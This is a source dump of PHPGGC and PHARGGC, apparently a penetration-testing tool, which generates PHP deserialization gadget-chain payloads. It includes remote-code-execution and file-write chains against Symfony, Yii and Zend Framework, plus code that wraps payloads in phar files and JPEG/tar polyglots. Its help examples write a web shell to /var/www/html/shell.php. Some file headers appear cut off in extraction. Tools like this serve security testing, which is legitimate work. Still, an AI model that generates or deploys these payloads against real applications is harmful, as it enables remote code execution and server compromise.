-------------------------------------------------------------------------------- /gadgetchains/Symfony/FW/1/chain.php: -------------------------------------------------------------------------------- 1 | token = uniqid(); 19 | $this->ip = new \Symfony\Component\Finder\Expression\Expression( 20 | $path, $content 21 | ); 22 | } 23 | } 24 | } 25 | 26 | namespace Symfony\Component\Finder\Expression 27 | { 28 | class Expression 29 | { 30 | private $value; 31 | 32 | function __construct($path, $content) 33 | { 34 | $this->value = new \Symfony\Component\Console\Helper\Table( 35 | $path, $content 36 | ); 37 | } 38 | } 39 | } 40 | 41 | namespace Symfony\Component\Console\Helper 42 | { 43 | class Table 44 | { 45 | private $headers = ['a']; 46 | private $rows = []; 47 | private $columnWidths = [100]; 48 | private $numberOfColumns; 49 | private $output; 50 | private $style; 51 | private static $styles; 52 | 53 | function __construct($path, $content) 54 | { 55 | $this->output = new \Symfony\Component\Config\ConfigCache($path); 56 | $this->style = new TableStyle($content); 57 | } 58 | } 59 | 60 | class TableStyle 61 | { 62 | private $paddingChar = ' '; 63 | private $horizontalBorderChar = ''; 64 | private $verticalBorderChar; 65 | private $crossingChar = ''; 66 | private $cellHeaderFormat = '%s'; 67 | private $cellRowFormat = '%s'; 68 | private $cellRowContentFormat = ' %s '; 69 | private $borderFormat = '%s'; 70 | private $padType = STR_PAD_RIGHT; 71 | 72 | function __construct($verticalBorderChar) 73 | { 74 | $this->verticalBorderChar = $verticalBorderChar; 75 | } 76 | } 77 | } 78 | 79 | namespace Symfony\Component\Config 80 | { 81 | class ConfigCache 82 | { 83 | private $debug; 84 | private $file; 85 | 86 | function __construct($file) 87 | { 88 | $this->file = $file; 89 | } 90 | } 91 | } 92 | -------------------------------------------------------------------------------- /gadgetchains/Symfony/RCE/1/chain.php: -------------------------------------------------------------------------------- 1 | deferred = $code; 36 | $this->namespace = []; 37 | } 38 | } 39 | 40 | class ApcuAdapter extends AbstractAdapter 41 | { 42 | } 43 | } -------------------------------------------------------------------------------- /gadgetchains/Symfony/RCE/2/chain.php: -------------------------------------------------------------------------------- 1 | )'; 11 | 12 | public function generate(array $parameters) 13 | { 14 | $code = $parameters['code']; 15 | 16 | return new \Symfony\Component\Process\ProcessPipes( 17 | new \Symfony\Component\Finder\Expression\Expression( 18 | new \Symfony\Component\Templating\PhpEngine( 19 | new \Symfony\Component\Templating\Storage\StringStorage( 20 | $code 21 | )))); 22 | } 23 | } 24 | -------------------------------------------------------------------------------- /gadgetchains/Symfony/RCE/2/gadgets.php: -------------------------------------------------------------------------------- 1 | template = ''; 8 | } 9 | } 10 | } 11 | 12 | namespace Symfony\Component\Templating{ 13 | class TemplateNameParser{} 14 | class TemplateReference{} 15 | class PhpEngine{ 16 | protected $parser; 17 | protected $cache; 18 | protected $current; 19 | protected $globals = array(); 20 | public function __construct($s){ 21 | $this->parser = new TemplateNameParser; 22 | $this->current = new TemplateReference; 23 | $this->cache = array(NULL=>$s); 24 | } 25 | } 26 | } 27 | 28 | namespace Symfony\Component\Finder\Expression{ 29 | class Expression{ 30 | private $value; 31 | public function __construct($p){ 32 | $this->value = $p; 33 | } 34 | } 35 | } 36 | 37 | namespace Symfony\Component\Process{ 38 | class ProcessPipes{ 39 | private $files = array(); 40 | public function __construct($e){ 41 | $this->files = array($e); 42 | } 43 | } 44 | } 45 | 46 | ?> 47 | -------------------------------------------------------------------------------- /gadgetchains/Symfony/RCE/3/chain.php: -------------------------------------------------------------------------------- 1 | )'; 11 | 12 | public function generate(array $parameters) 13 | { 14 | $code = $parameters['code']; 15 | 16 | return new \Symfony\Component\Process\Pipes\WindowsPipes( 17 | new \Symfony\Component\Finder\Expression\Expression( 18 | new \Symfony\Component\Templating\PhpEngine( 19 | new \Symfony\Component\Templating\Storage\StringStorage( 20 | $code 21 | )))); 22 | } 23 | } 24 | -------------------------------------------------------------------------------- /gadgetchains/Symfony/RCE/3/gadgets.php: -------------------------------------------------------------------------------- 1 | template = ''; 8 | } 9 | } 10 | } 11 | 12 | namespace Symfony\Component\Templating{ 13 | class TemplateNameParser{} 14 | class TemplateReference{} 15 | class PhpEngine{ 16 | protected $parser; 17 | protected $cache; 18 | protected $current; 19 | protected $globals = array(); 20 | public function __construct($s){ 21 | $this->parser = new TemplateNameParser; 22 | $this->current = new TemplateReference; 23 | $this->cache = array(NULL=>$s); 24 | } 25 | } 26 | } 27 | 28 | namespace Symfony\Component\Finder\Expression{ 29 | class Expression{ 30 | private $value; 31 | public function __construct($p){ 32 | $this->value = $p; 33 | } 34 | } 35 | } 36 | 37 | namespace Symfony\Component\Process\Pipes{ 38 | class WindowsPipes{ 39 | private $files = array(); 40 | public function __construct($e){ 41 | $this->files = array($e); 42 | } 43 | } 44 | } 45 | 46 | ?> 47 | -------------------------------------------------------------------------------- /gadgetchains/Yii/RCE/1/chain.php: -------------------------------------------------------------------------------- 1 | params = $params; 10 | } 11 | } 12 | 13 | class CList 14 | { 15 | /** 16 | * @var array internal data storage 17 | */ 18 | private $_d; 19 | 20 | function __construct($_d) 21 | { 22 | $this->_d = $_d; 23 | } 24 | } 25 | 26 | class CFileCache 27 | { 28 | public $keyPrefix = ''; 29 | public $hashKey = false; 30 | public $serializer = [1 => 'assert']; 31 | 32 | public $cachePath = 'data:text/'; 33 | public $directoryLevel = 0; 34 | public $embedExpiry = true; 35 | public $cacheFileSuffix; 36 | 37 | function __construct($cacheFileSuffix) 38 | { 39 | $this->cacheFileSuffix = ';base64,' . $cacheFileSuffix; 40 | } 41 | } -------------------------------------------------------------------------------- /gadgetchains/ZendFramework/RCE/1/chain.php: -------------------------------------------------------------------------------- 1 | = 7.0.0 14 | - Payload gets executed twice 15 | '; 16 | 17 | public function generate(array $parameters) 18 | { 19 | $code = $parameters['code']; 20 | 21 | return new \Zend_Log( 22 | [new \Zend_Log_Writer_Mail( 23 | [1], 24 | [], 25 | new \Zend_Mail, 26 | new \Zend_Layout( 27 | new \Zend_Filter_PregReplace( 28 | "/(.*)/e", 29 | $code 30 | ), 31 | true, 32 | "layout" 33 | ) 34 | )] 35 | ); 36 | } 37 | } 38 | -------------------------------------------------------------------------------- /gadgetchains/ZendFramework/RCE/1/gadgets.php: -------------------------------------------------------------------------------- 1 | _writers = $x; 10 | } 11 | } 12 | 13 | class Zend_Log_Writer_Mail 14 | { 15 | protected $_eventsToMail; 16 | protected $_layoutEventsToMail; 17 | protected $_mail; 18 | protected $_layout; 19 | protected $_subjectPrependText; 20 | 21 | public function __construct( 22 | $eventsToMail, 23 | $layoutEventsToMail, 24 | $mail, 25 | $layout 26 | ) { 27 | $this->_eventsToMail = $eventsToMail; 28 | $this->_layoutEventsToMail = $layoutEventsToMail; 29 | $this->_mail = $mail; 30 | $this->_layout = $layout; 31 | $this->_subjectPrependText = null; 32 | } 33 | } 34 | 35 | class Zend_Mail 36 | {} 37 | 38 | class Zend_Layout 39 | { 40 | protected $_inflector; 41 | protected $_inflectorEnabled; 42 | protected $_layout; 43 | 44 | public function __construct( 45 | $inflector, 46 | $inflectorEnabled, 47 | $layout 48 | ) { 49 | $this->_inflector = $inflector; 50 | $this->_inflectorEnabled = $inflectorEnabled; 51 | $this->_layout = $layout; 52 | } 53 | } 54 | 55 | class Zend_Filter_PregReplace 56 | { 57 | protected $_matchPattern; 58 | protected $_replacement; 59 | 60 | public function __construct( 61 | $matchPattern, 62 | $replacement 63 | ) { 64 | $this->_matchPattern = $matchPattern; 65 | $this->_replacement = $replacement; 66 | } 67 | } 68 | -------------------------------------------------------------------------------- /lib/PHARGGC.php: -------------------------------------------------------------------------------- 1 | base = realpath(dirname(dirname(__FILE__))); 27 | spl_autoload_register(array($this, 'autoload')); 28 | $this->chains = $this->get_gadget_chains(); 29 | } 30 | 31 | /** 32 | * Generates a payload from the command line arguments. 33 | * First, the gadget is loaded, and then it is generated using additional 34 | * arguments. 35 | */ 36 | public function generate() 37 | { 38 | global $argv; 39 | 40 | $parameters = $this->parse_cmdline($argv); 41 | 42 | if(count($parameters) < 1) 43 | { 44 | $this->help(); 45 | return; 46 | } 47 | 48 | $class = array_shift($parameters); 49 | $gc = $this->get_gadget_chain($class); 50 | 51 | if(@$this->arguments['informations']) 52 | { 53 | $this->o($gc, 2); 54 | $this->o($this->_get_command_line_gc($gc)); 55 | } 56 | else 57 | { 58 | $parameters = $this->get_type_parameters($gc, $parameters); 59 | $generated = $this->pharify($gc, $parameters); 60 | } 61 | } 62 | 63 | /** 64 | * Gets an instance of the given GadgetChain class. 65 | */ 66 | public function get_gadget_chain($class) 67 | { 68 | $full = strtolower('GadgetChain/' . $class); 69 | 70 | if(!in_array($full, array_keys($this->chains))) 71 | { 72 | throw new PHPGGC\Exception('Unknown gadget chain: ' . $class); 73 | } 74 | 75 | return $this->chains[$full]; 76 | } 77 | 78 | /** 79 | * Generates the serialized payload from given gadget and parameters. 80 | */ 81 | public function pharify($gc, $parameters) 82 | { 83 | $gc->load_gadgets(); 84 | 85 | $parameters = $gc->pre_process($parameters); 86 | $payload = $gc->generate($parameters); 87 | if ($this->jpegpath) 88 | { 89 | $jpeg = @file_get_contents($this->jpegpath); 90 | if ($jpeg) 91 | { 92 | file_put_contents($this->outfile,$this->generate_polyglot($this->generate_base_phar($payload),$jpeg)); 93 | } 94 | else 95 | { 96 | $e = 'Unable to load jpeg: ' . $this->jpegpath; 97 | throw new \PHPGGC\Exception($e); 98 | } 99 | } 100 | else 101 | { 102 | if ($this->prefixpath) 103 | { 104 | $this->prefix = @file_get_contents($this->prefixpath); 105 | if (!$this->prefix) 106 | { 107 | $e = 'Unable to load prefix file: ' . $this->prefixpath; 108 | throw new \PHPGGC\Exception($e); 109 | } 110 | } 111 | file_put_contents($this->outfile,$this->generate_base_phar($payload, $this->prefix)); 112 | } 113 | 114 | $this->o('Payload written to: ' . $this->outfile); 115 | } 116 | 117 | function generate_base_phar($o) 118 | { 119 | $tempname = "temp" . $this->format . ".phar"; 120 | @unlink($tempname); 121 | $phar = new Phar($tempname); 122 | $phar->startBuffering(); 123 | $phar->addFromString("test.txt","test"); 124 | $phar->setStub($this->prefix . ""); 125 | $phar->setMetadata($o); 126 | $phar->stopBuffering(); 127 | 128 | $basecontent = file_get_contents($tempname); 129 | $phar=""; 130 | @unlink($tempname); 131 | return $basecontent; 132 | } 133 | 134 | function generate_polyglot($phar, $jpeg) 135 | { 136 | $phar = substr($phar,6); 137 | $len = strlen($phar); 138 | $new = substr($jpeg,0,2) . "\xff\xfe" . chr(($len >> 8) & 0xff) . chr($len & 0xff) . $phar . substr($jpeg,2); 139 | $contents = substr($new,0,148) . " " . substr($new,156); 140 | 141 | $chksum = 0; 142 | 143 | for ($i=0;$i<512;$i++) 144 | { 145 | $chksum+=ord(substr($contents,$i,1)); 146 | } 147 | 148 | $oct = sprintf("%07o",$chksum); 149 | $contents = substr($contents,0,148) . $oct . substr($contents,155); 150 | return $contents; 151 | } 152 | 153 | 154 | /** 155 | * Includes every file that might contain a gadget. 156 | */ 157 | protected function include_gadget_chains() 158 | { 159 | $base = $this->base . self::DIR_GADGETCHAINS; 160 | $files = glob($base . '/*/*/*/chain.php'); 161 | array_map(function ($file) 162 | { 163 | include_once $file; 164 | }, $files); 165 | } 166 | 167 | /** 168 | * Loads every available gadget and returns an array of the form 169 | * class_name => object. 170 | */ 171 | public function get_gadget_chains() 172 | { 173 | $this->include_gadget_chains(); 174 | 175 | $classes = get_declared_classes(); 176 | $classes = array_filter($classes, function($class) 177 | { 178 | return is_subclass_of($class, '\\PHPGGC\\GadgetChain') && 179 | strpos($class, 'GadgetChain\\') === 0; 180 | }); 181 | $objects = array_map(function($class) 182 | { 183 | return new $class(); 184 | }, $classes); 185 | 186 | # Convert backslashes in classes names to forward slashes, 187 | # so that the command line is easier to use 188 | $classes = array_map(function($class) 189 | { 190 | return strtolower(str_replace('\\', '/', $class)); 191 | }, $classes); 192 | return array_combine($classes, $objects); 193 | } 194 | 195 | /** 196 | * Autoloads PHPGGC base classes only, in order to avoid conflict between 197 | * different gadget chains. 198 | */ 199 | public function autoload($class) 200 | { 201 | if(strpos($class, 'PHPGGC\\') === 0) 202 | { 203 | $file = str_replace('\\', '/', $class) . '.php'; 204 | include_once $this->base . self::DIR_LIB . '/' . $file; 205 | } 206 | } 207 | 208 | /** 209 | * Creates the file structure for a new gadgetchain targeting $name and of 210 | * type $type. 211 | */ 212 | function new_gc($name, $type) 213 | { 214 | $namespace = '\\PHPGGC\\GadgetChain'; 215 | 216 | # Check type 217 | 218 | $type = strtoupper($type); 219 | $reflection = new ReflectionClass($namespace); 220 | $constant = 'TYPE_' . $type; 221 | $value = $reflection->getConstant($constant); 222 | 223 | if($value === false) 224 | { 225 | $this->o('Invalid type: ' . $type); 226 | exit(0); 227 | } 228 | 229 | # Match base class from type 230 | 231 | $base = $this->base . self::DIR_BASE_GADGETCHAINS; 232 | $files = glob($base . '/*.php'); 233 | 234 | foreach($files as $file) 235 | { 236 | $classname = substr(basename($file), 0, -4); 237 | $classname = $namespace . '\\' . $classname; 238 | $reflection = new ReflectionClass($classname); 239 | 240 | if($reflection->getProperty('type')->getValue() === $value) 241 | { 242 | $baseclass = $reflection; 243 | break; 244 | } 245 | } 246 | 247 | if(!isset($baseclass)) 248 | { 249 | $this->o('No base class for type: ' . $type); 250 | exit(0); 251 | } 252 | 253 | # Create directory structure 254 | 255 | $base = $this->base . self::DIR_GADGETCHAINS; 256 | $base = $base . '/' . $name . '/' . $type . '/'; 257 | 258 | for($i=1;file_exists($base . $i);$i++); 259 | 260 | $base = $base . $i; 261 | mkdir($base, 0777, true); 262 | 263 | $replacements = [ 264 | '{NAME}' => $name, 265 | '{CLASS_NAME}' => $type . $i, 266 | '{BASE_CLASS_NAME}' => $baseclass->getName() 267 | ]; 268 | 269 | $this->create_from_template($base, 'chain.php', $replacements); 270 | $this->create_from_template($base, 'gadgets.php'); 271 | 272 | # Display success message 273 | 274 | $full_name = $replacements['{NAME}'] . '\\' 275 | . $replacements['{CLASS_NAME}']; 276 | $base = substr($base, strlen($this->base) + 1); 277 | 278 | $this->o('Created ' . $full_name . ' under: ' . $base); 279 | 280 | exit(0); 281 | } 282 | 283 | /** 284 | * Creates a file in directory $path from template $name. 285 | */ 286 | function create_from_template($path, $name, $replacements=null) 287 | { 288 | $template = $this->base . self::DIR_TEMPLATES . '/' . $name; 289 | $template = file_get_contents($template); 290 | 291 | if($replacements) 292 | $template = strtr($template, $replacements); 293 | 294 | file_put_contents($path . '/' . $name, $template); 295 | } 296 | 297 | # 298 | # Display 299 | # 300 | 301 | /** 302 | * Displays a message. 303 | */ 304 | function output($message, $r=1) 305 | { 306 | $n = str_repeat("\n", $r); 307 | print($message . $n); 308 | } 309 | 310 | /** 311 | * Wrapper for output(). 312 | */ 313 | protected function o($message, $r=1) 314 | { 315 | $this->output($message, $r); 316 | } 317 | 318 | /** 319 | * Generates an ASCII array. 320 | */ 321 | protected function table($titles, $data) 322 | { 323 | $titles = array_map('strtoupper', $titles); 324 | $data = array_merge([$titles], $data); 325 | $pad = array_fill(0, count($titles), 0); 326 | 327 | foreach($data as $row) 328 | { 329 | foreach($row as $i => $cell) 330 | { 331 | $pad[$i] = max($pad[$i], strlen($cell)); 332 | } 333 | } 334 | 335 | $array = ''; 336 | 337 | foreach($data as $row) 338 | { 339 | foreach($row as $i => $cell) 340 | { 341 | $array .= str_pad($cell, $pad[$i]) . ' '; 342 | } 343 | $array .= "\n"; 344 | } 345 | 346 | return $array; 347 | } 348 | 349 | protected function list_gc() 350 | { 351 | $this->o(""); 352 | $this->o("Gadget Chains"); 353 | $this->o("-------------", 2); 354 | 355 | $titles = [ 356 | 'Name', 357 | 'Version', 358 | 'Type', 359 | 'Vector', 360 | 'I' 361 | ]; 362 | 363 | $data = []; 364 | foreach($this->chains as $chain) 365 | { 366 | $data[] = [ 367 | $chain->get_name(), 368 | $chain->version, 369 | $chain::$type, 370 | $chain->vector, 371 | ($chain->informations ? '*' : '') 372 | ]; 373 | } 374 | 375 | $this->o($this->table($titles, $data)); 376 | 377 | exit(0); 378 | } 379 | 380 | protected function help() 381 | { 382 | $this->o(""); 383 | $this->o("PHARGGC: Phar Generic Gadget Chains"); 384 | $this->o("-----------------------------------", 2); 385 | 386 | $this->o("USAGE"); 387 | $this->o(" " . $this->_get_command_line( 388 | '[-h|-l|-i|-p|-j]', 389 | '', 390 | '[arguments]' 391 | ), 2); 392 | 393 | $this->o("INFORMATION"); 394 | $this->o(" -h Displays help"); 395 | $this->o(" -l Lists available gadget chains"); 396 | $this->o(" -i Displays informations about a gadget chain"); 397 | $this->o(""); 398 | $this->o("FORMAT"); 399 | $this->o(" -p Prefix stub with file"); 400 | $this->o(" -j JPEG/Tar polyglot"); 401 | $this->o(""); 402 | 403 | $this->o("EXAMPLES"); 404 | $this->o(" " . $this->_get_command_line( 405 | '-p prefix.file', 406 | '-o output.file', 407 | 'Laravel/RCE1', 408 | '\'uname -a\'' 409 | )); 410 | $this->o(" " . $this->_get_command_line( 411 | '-j input.jpg', 412 | '-o output.jpg', 413 | 'SwiftMailer/FW1', 414 | '/var/www/html/shell.php', 415 | '/tmp/local_file_to_write' 416 | )); 417 | $this->o(""); 418 | 419 | exit(0); 420 | } 421 | 422 | /** 423 | * Parses the command line arguments. 424 | */ 425 | protected function parse_cmdline($argv) 426 | { 427 | unset($argv[0]); 428 | 429 | $valid_arguments = [ 430 | 'new' => true, 431 | 'informations' => false, 432 | 'help' => false, 433 | 'list' => false, 434 | 'jpeg' => true, 435 | 'prefix' => true, 436 | 'outfile' => true 437 | ]; 438 | 439 | $arguments = [ 440 | ]; 441 | 442 | $count = count($argv); 443 | 444 | foreach($argv as $i => $arg) 445 | { 446 | if($arg{0} == '-') 447 | { 448 | $arg = substr($arg, 1); 449 | $valid = false; 450 | 451 | foreach($valid_arguments as $argument => $has_parameter) 452 | { 453 | if($argument{0} == $arg) 454 | { 455 | $valid = true; 456 | 457 | if($has_parameter) 458 | { 459 | if($count < $i) 460 | { 461 | $e = 'Parameter ' . $arg . ' expects a value'; 462 | throw new \PHPGGC\Exception($e); 463 | } 464 | 465 | $arguments[$argument] = $argv[$i+1]; 466 | 467 | # Delete argument's value 468 | unset($argv[$i+1]); 469 | } 470 | else 471 | { 472 | $arguments[$argument] = true; 473 | } 474 | 475 | break; 476 | } 477 | } 478 | 479 | if(!$valid) 480 | { 481 | throw new PHPGGC\Exception('Unknown parameter: ' . $arg); 482 | } 483 | 484 | # Delete argument 485 | unset($argv[$i]); 486 | } 487 | } 488 | $argv = array_values($argv); 489 | 490 | # Handle optional arguments in case they need to be handled now. 491 | # Otherwise, just save them. 492 | 493 | foreach($arguments as $argument => $value) 494 | { 495 | switch($argument) 496 | { 497 | case 'new': 498 | if(count($argv) < 1) 499 | { 500 | $line = $this->_get_command_line(' '); 501 | $this->o($line); 502 | } 503 | else 504 | $this->new_gc($value, $argv[0]); 505 | 506 | break; 507 | case 'help': 508 | $this->help(); 509 | break; 510 | case 'list': 511 | $this->list_gc(); 512 | break; 513 | case 'jpeg': 514 | $this->jpegpath = $value; 515 | $this->format = ".tar"; 516 | break; 517 | case 'prefix': 518 | $this->prefixpath = $value; 519 | break; 520 | case 'outfile': 521 | $this->outfile = $value; 522 | } 523 | } 524 | 525 | $this->arguments = $arguments; 526 | 527 | # Return remaining arguments 528 | return array_values($argv); 529 | } 530 | 531 | /** 532 | * Convert command line parameters into an array of named parameters, 533 | * specific to the type of payload. 534 | */ 535 | protected function get_type_parameters($gc, $parameters) 536 | { 537 | $arguments = $gc->parameters; 538 | $values = @array_combine($arguments, $parameters); 539 | 540 | if($values === false) 541 | { 542 | $this->o($gc, 2); 543 | $message = 'Invalid arguments for type "' . $gc::$type . '" ' . "\n" 544 | . $this->_get_command_line_gc($gc); 545 | throw new PHPGGC\Exception($message); 546 | } 547 | 548 | return $values; 549 | } 550 | 551 | protected function _get_command_line_gc($gc) 552 | { 553 | $arguments = array_map(function ($a) { 554 | return '<' . $a . '>'; 555 | }, $gc->parameters); 556 | return $this->_get_command_line($gc->get_name(), ...$arguments); 557 | } 558 | 559 | private function _get_command_line(...$arguments) 560 | { 561 | return './pharggc ' . implode(' ', $arguments); 562 | } 563 | } -------------------------------------------------------------------------------- /lib/PHPGGC.php: -------------------------------------------------------------------------------- 1 | base = realpath(dirname(dirname(__FILE__))); 19 | spl_autoload_register(array($this, 'autoload')); 20 | $this->chains = $this->get_gadget_chains(); 21 | } 22 | 23 | /** 24 | * Generates a payload from the command line arguments. 25 | * First, the gadget is loaded, and then it is generated using additional 26 | * arguments. 27 | */ 28 | public function generate() 29 | { 30 | global $argv; 31 | 32 | $parameters = $this->parse_cmdline($argv); 33 | 34 | if(count($parameters) < 1) 35 | { 36 | $this->help(); 37 | return; 38 | } 39 | 40 | $class = array_shift($parameters); 41 | $gc = $this->get_gadget_chain($class); 42 | 43 | if(@$this->arguments['informations']) 44 | { 45 | $this->o($gc, 2); 46 | $this->o($this->_get_command_line_gc($gc)); 47 | } 48 | else 49 | { 50 | $parameters = $this->get_type_parameters($gc, $parameters); 51 | $generated = $this->serialize($gc, $parameters); 52 | print($generated . "\n"); 53 | } 54 | } 55 | 56 | /** 57 | * Gets an instance of the given GadgetChain class. 58 | */ 59 | public function get_gadget_chain($class) 60 | { 61 | $full = strtolower('GadgetChain/' . $class); 62 | 63 | if(!in_array($full, array_keys($this->chains))) 64 | { 65 | throw new PHPGGC\Exception('Unknown gadget chain: ' . $class); 66 | } 67 | 68 | return $this->chains[$full]; 69 | } 70 | 71 | /** 72 | * Generates the serialized payload from given gadget and parameters. 73 | */ 74 | public function serialize($gc, $parameters) 75 | { 76 | $gc->load_gadgets(); 77 | 78 | $parameters = $gc->pre_process($parameters); 79 | $payload = $gc->generate($parameters); 80 | $payload = $this->wrap($payload); 81 | 82 | $serialized = serialize($payload); 83 | 84 | $serialized = $gc->post_process($serialized); 85 | $serialized = $this->apply_filters($serialized); 86 | 87 | return $serialized; 88 | } 89 | 90 | /** 91 | * Includes every file that might contain a gadget. 92 | */ 93 | protected function include_gadget_chains() 94 | { 95 | $base = $this->base . self::DIR_GADGETCHAINS; 96 | $files = glob($base . '/*/*/*/chain.php'); 97 | array_map(function ($file) 98 | { 99 | include_once $file; 100 | }, $files); 101 | } 102 | 103 | /** 104 | * Loads every available gadget and returns an array of the form 105 | * class_name => object. 106 | */ 107 | public function get_gadget_chains() 108 | { 109 | $this->include_gadget_chains(); 110 | 111 | $classes = get_declared_classes(); 112 | $classes = array_filter($classes, function($class) 113 | { 114 | return is_subclass_of($class, '\\PHPGGC\\GadgetChain') && 115 | strpos($class, 'GadgetChain\\') === 0; 116 | }); 117 | $objects = array_map(function($class) 118 | { 119 | return new $class(); 120 | }, $classes); 121 | 122 | # Convert backslashes in classes names to forward slashes, 123 | # so that the command line is easier to use 124 | $classes = array_map(function($class) 125 | { 126 | return strtolower(str_replace('\\', '/', $class)); 127 | }, $classes); 128 | return array_combine($classes, $objects); 129 | } 130 | 131 | /** 132 | * Includes a PHP file containing a wrapper($data) function. 133 | * This method will be called after the gadget chain has been generated, 134 | * and before serialize() is called, in order to modify the payload if 135 | * need be. 136 | */ 137 | public function set_wrapper($file) 138 | { 139 | include $file; 140 | $this->_has_wrapper = true; 141 | } 142 | 143 | /** 144 | * Wraps the payload into something else if the user required it. 145 | * For instance, if a specific unserialize call requires an array, one could 146 | * build a wrapper function of the likes: 147 | * 148 | * function wrapper($description) 149 | * { 150 | * return array('id' => '123', 'data' => $description['payload']); 151 | * } 152 | * 153 | * The returned serialized payload would be an array which contains the 154 | * payload under the key "data". 155 | */ 156 | public function wrap($payload) 157 | { 158 | if(isset($this->_has_wrapper)) 159 | { 160 | $payload = call_user_func('wrapper', $payload); 161 | } 162 | 163 | return $payload; 164 | } 165 | 166 | /** 167 | * Autoloads PHPGGC base classes only, in order to avoid conflict between 168 | * different gadget chains. 169 | */ 170 | public function autoload($class) 171 | { 172 | if(strpos($class, 'PHPGGC\\') === 0) 173 | { 174 | $file = str_replace('\\', '/', $class) . '.php'; 175 | include_once $this->base . self::DIR_LIB . '/' . $file; 176 | } 177 | } 178 | 179 | /** 180 | * Creates the file structure for a new gadgetchain targeting $name and of 181 | * type $type. 182 | */ 183 | function new_gc($name, $type) 184 | { 185 | $namespace = '\\PHPGGC\\GadgetChain'; 186 | 187 | # Check type 188 | 189 | $type = strtoupper($type); 190 | $reflection = new ReflectionClass($namespace); 191 | $constant = 'TYPE_' . $type; 192 | $value = $reflection->getConstant($constant); 193 | 194 | if($value === false) 195 | { 196 | $this->o('Invalid type: ' . $type); 197 | exit(0); 198 | } 199 | 200 | # Match base class from type 201 | 202 | $base = $this->base . self::DIR_BASE_GADGETCHAINS; 203 | $files = glob($base . '/*.php'); 204 | 205 | foreach($files as $file) 206 | { 207 | $classname = substr(basename($file), 0, -4); 208 | $classname = $namespace . '\\' . $classname; 209 | $reflection = new ReflectionClass($classname); 210 | 211 | if($reflection->getProperty('type')->getValue() === $value) 212 | { 213 | $baseclass = $reflection; 214 | break; 215 | } 216 | } 217 | 218 | if(!isset($baseclass)) 219 | { 220 | $this->o('No base class for type: ' . $type); 221 | exit(0); 222 | } 223 | 224 | # Create directory structure 225 | 226 | $base = $this->base . self::DIR_GADGETCHAINS; 227 | $base = $base . '/' . $name . '/' . $type . '/'; 228 | 229 | for($i=1;file_exists($base . $i);$i++); 230 | 231 | $base = $base . $i; 232 | mkdir($base, 0777, true); 233 | 234 | $replacements = [ 235 | '{NAME}' => $name, 236 | '{CLASS_NAME}' => $type . $i, 237 | '{BASE_CLASS_NAME}' => $baseclass->getName() 238 | ]; 239 | 240 | $this->create_from_template($base, 'chain.php', $replacements); 241 | $this->create_from_template($base, 'gadgets.php'); 242 | 243 | # Display success message 244 | 245 | $full_name = $replacements['{NAME}'] . '\\' 246 | . $replacements['{CLASS_NAME}']; 247 | $base = substr($base, strlen($this->base) + 1); 248 | 249 | $this->o('Created ' . $full_name . ' under: ' . $base); 250 | 251 | exit(0); 252 | } 253 | 254 | /** 255 | * Creates a file in directory $path from template $name. 256 | */ 257 | function create_from_template($path, $name, $replacements=null) 258 | { 259 | $template = $this->base . self::DIR_TEMPLATES . '/' . $name; 260 | $template = file_get_contents($template); 261 | 262 | if($replacements) 263 | $template = strtr($template, $replacements); 264 | 265 | file_put_contents($path . '/' . $name, $template); 266 | } 267 | 268 | # 269 | # Display 270 | # 271 | 272 | /** 273 | * Displays a message. 274 | */ 275 | function output($message, $r=1) 276 | { 277 | $n = str_repeat("\n", $r); 278 | print($message . $n); 279 | } 280 | 281 | /** 282 | * Wrapper for output(). 283 | */ 284 | protected function o($message, $r=1) 285 | { 286 | $this->output($message, $r); 287 | } 288 | 289 | /** 290 | * Applies command line filters on the serialized payload. 291 | */ 292 | protected function apply_filters($serialized) 293 | { 294 | extract($this->arguments, EXTR_SKIP); 295 | 296 | if(@$base64) 297 | $serialized = base64_encode($serialized); 298 | if(@$urlencode) 299 | $serialized = urlencode($serialized); 300 | if(@$softencode) 301 | { 302 | $keys = str_split("%\x00\n\r\t+"); 303 | $values = array_map('urlencode', $keys); 304 | $serialized = str_replace($keys, $values, $serialized); 305 | } 306 | 307 | return $serialized; 308 | } 309 | 310 | /** 311 | * Generates an ASCII array. 312 | */ 313 | protected function table($titles, $data) 314 | { 315 | $titles = array_map('strtoupper', $titles); 316 | $data = array_merge([$titles], $data); 317 | $pad = array_fill(0, count($titles), 0); 318 | 319 | foreach($data as $row) 320 | { 321 | foreach($row as $i => $cell) 322 | { 323 | $pad[$i] = max($pad[$i], strlen($cell)); 324 | } 325 | } 326 | 327 | $array = ''; 328 | 329 | foreach($data as $row) 330 | { 331 | foreach($row as $i => $cell) 332 | { 333 | $array .= str_pad($cell, $pad[$i]) . ' '; 334 | } 335 | $array .= "\n"; 336 | } 337 | 338 | return $array; 339 | } 340 | 341 | protected function list_gc() 342 | { 343 | $this->o(""); 344 | $this->o("Gadget Chains"); 345 | $this->o("-------------", 2); 346 | 347 | $titles = [ 348 | 'Name', 349 | 'Version', 350 | 'Type', 351 | 'Vector', 352 | 'I' 353 | ]; 354 | 355 | $data = []; 356 | foreach($this->chains as $chain) 357 | { 358 | $data[] = [ 359 | $chain->get_name(), 360 | $chain->version, 361 | $chain::$type, 362 | $chain->vector, 363 | ($chain->informations ? '*' : '') 364 | ]; 365 | } 366 | 367 | $this->o($this->table($titles, $data)); 368 | 369 | exit(0); 370 | } 371 | 372 | protected function help() 373 | { 374 | $this->o(""); 375 | $this->o("PHPGGC: PHP Generic Gadget Chains"); 376 | $this->o("---------------------------------", 2); 377 | 378 | $this->o("USAGE"); 379 | $this->o(" " . $this->_get_command_line( 380 | '[-h|-l|-w|-h|-s|-u|-b|-i]', 381 | '', 382 | '[arguments]' 383 | ), 2); 384 | 385 | $this->o("INFORMATION"); 386 | $this->o(" -h Displays help"); 387 | $this->o(" -l Lists available gadget chains"); 388 | $this->o(" -i Displays informations about a gadget chain"); 389 | $this->o(""); 390 | $this->o("MODIFICATION"); 391 | $this->o(" -w "); 392 | $this->o(" Specifies a file containing a function: wrapper(\$payload)"); 393 | $this->o(" This function will be called before the generated gadget is serialized."); 394 | $this->o(""); 395 | $this->o("ENCODING"); 396 | $this->o(" -s Soft URLencode"); 397 | $this->o(" -u URLencodes the payload"); 398 | $this->o(" -b Converts the output into base64"); 399 | $this->o(""); 400 | 401 | $this->o("EXAMPLES"); 402 | $this->o(" " . $this->_get_command_line( 403 | 'Laravel/RCE1', 404 | '\'phpinfo().die();\'' 405 | )); 406 | $this->o(" " . $this->_get_command_line( 407 | 'SwiftMailer/FW1', 408 | '/var/www/html/shell.php', 409 | '/tmp/local_file_to_write' 410 | )); 411 | $this->o(""); 412 | 413 | exit(0); 414 | } 415 | 416 | /** 